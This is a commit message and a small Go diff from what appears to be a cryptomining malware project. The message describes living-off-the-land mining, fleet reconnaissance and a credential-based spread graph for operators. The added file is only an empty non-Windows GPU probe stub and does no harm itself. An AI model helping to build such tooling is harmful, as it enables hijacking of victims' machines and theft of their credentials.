Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/miner/tier_gpu_compute_stub.go

@@ -0,0 +1,9 @@
+//go:build !windows
+
+package miner
+
+import "crypto-miner-agent/config"
+
+func platformGPUComputeProbe(cfg config.RuntimeConfig) GPUComputeProbe {
+	return GPUComputeProbe{}
+}